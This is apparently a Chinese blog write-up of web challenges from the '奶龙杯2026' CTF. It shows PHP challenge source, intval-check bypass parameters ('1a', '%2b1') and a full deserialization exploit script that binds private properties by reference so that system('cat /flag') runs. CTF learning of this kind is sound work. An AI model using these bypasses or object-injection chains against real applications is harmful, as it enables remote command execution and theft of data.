奶龙杯2026

本文最后更新于 2026年9月7日 晚上

纯手搓,仅借助本地AI或网络资料

WEB

sign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

ob_start();

highlight_file(__FILE__);

$userId = $_GET['userId'] ?? '';
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);//移除字符串两端的空白字符,如制表符、空格、回车

function grantRole($userId, $roleId) {
if ($roleId === 1) {
$flag = file_get_contents('/flag');
echo $flag;
}
}

if (strlen($userId) < 114) {
http_response_code(200);
exit('user id is too short');
}

if (str_contains($roleText, '+') || str_contains($roleText, '-')) {
http_response_code(200);
exit('sign character is forbidden');
}

if ($roleText === '1') {
http_response_code(403);
exit('admin role is forbidden');
}

if (preg_match('/[eE.]/', $roleText)) {//不能使用科学计数法,如 1e0
http_response_code(200);
exit('invalid role id');
}

if ($roleText[0] === '0') {//第一个字符不能是0
http_response_code(200);
exit('leading zero is forbidden');
}

if (!preg_match('/[0-9]/', $roleText)) {//要求包含数字
http_response_code(200);
exit('invalid role id');
}

$roleId = intval($rawRole);

grantRole($userId, $roleId);

intval() 函数会将字符串转换为整数,它会从左到右读取数字,直到遇到第一个非数字字符为止。

1
role=1a

lets_goooooo

image-20260901092827180

注意使用%0a这种url编码的命令分隔符时要写在地址栏里面

LamentXU’s chal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

ob_start();

highlight_file(__FILE__);

$userId = $_GET['userId'] ?? '';
$rawRole = $_GET['role'] ?? '';
$roleText = trim($rawRole);

function grantRole($userId, $roleId) {
if ($roleId === 1) {
$flag = file_get_contents('/flag');
echo $flag;
}
}

if (strlen($userId) < 114) {
http_response_code(400);
exit('user id is too short');
}

if ($roleText === '1') {
http_response_code(403);
exit('admin role is forbidden');
}

if (preg_match('/[eE.]/', $roleText)) {
http_response_code(400);
exit('invalid role id');
}

if ($roleText[0] === '0') {
http_response_code(400);
exit('leading zero is forbidden');
}

if (!is_numeric($roleText)) {
http_response_code(400);
exit('invalid role id');
}

$roleId = intval($rawRole);

grantRole($userId, $roleId);

image-20260901100321419

没有限制使用加号

1
userId=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&role=%2b1

unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
error_reporting(0);

class SecurityValidator {
private $mode;
private $data;

public function __construct() {
$this->mode = 'safe';
$this->data = null;
}

public function __wakeup() {
if ($this->mode !== 'safe') {
die("Security violation detected");
}
}

public function getMode() {
return $this->mode;
}

public function getData() {
return $this->data;
}
}

class CommandExecutor {
private $validator;
private $command;
private $enabled;

public function __construct() {
$this->validator = new SecurityValidator();
$this->command = 'echo "Hello"';
$this->enabled = false;
}

public function __destruct() {
if (!$this->enabled) {
return;
}

if (!($this->validator instanceof SecurityValidator)) {
die("Invalid validator type");
}

if ($this->validator->getMode() === 'safe') {
die("Safe mode active");
}

system($this->command);
}
}

class Mutator {
public $ref;

public function __wakeup() {
if (is_string($this->ref)) {
$this->ref = "hacked";
}
}
}

if (isset($_POST['data'])) {
$obj = unserialize($_POST['data']);
unset($obj);
exit;
}

highlight_file(__FILE__);

这题的打法确实比较新颖,传入参数data在反序列化之后又进行了一次unser销毁对象(会调用__destruct方法)

我们的最终目的就是让CommandExecutor类走到destruct的最后一步,前提是validator必须是SecurityValidator并且它的私有参数mode必须不是safe。那么问题就出在私有参数这里了,私有参数在只能在对象内进行赋值,对象构建之后如果没有写专门修改变量的函数很难进行修改,而mode对象如果不是safe就走不下去了

那么这个时候我们观察到了Mutator对象,它在反序列化的时候会修改自身参数ref的值,那么这个时候如果用一些神奇的方法让Mutator::ref和SecurityValidator::mode调用同一个变量不就可以了吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class SecurityValidator {
private $mode = 'safe';
private $data = null;
}

class CommandExecutor {
private $validator;
private $command;
private $enabled;

public function __construct(string $command) {
$this->validator = new SecurityValidator();
$this->command = $command;
$this->enabled = true;
}

public function validator(): SecurityValidator {
return $this->validator;//便于调用私有参数
}
}

class Mutator {
public $ref = 'safe';
}

$command = 'cat /flag';
$executor = new CommandExecutor($command);
$mutator = new Mutator();

$bind = Closure::bind(
function (Mutator $mutator) {
$this->mode = &$mutator->ref;
},
$executor->validator(),// 绑定到 SecurityValidator 实例
SecurityValidator::class// 作用域为 SecurityValidator 类
);
$bind($mutator);

echo urlencode(serialize([$executor, $mutator]));

奶龙杯2026
https://www.sunynov.top/2026/09/01/奶龙杯2026/
作者
suny
发布于
2026年9月1日
许可协议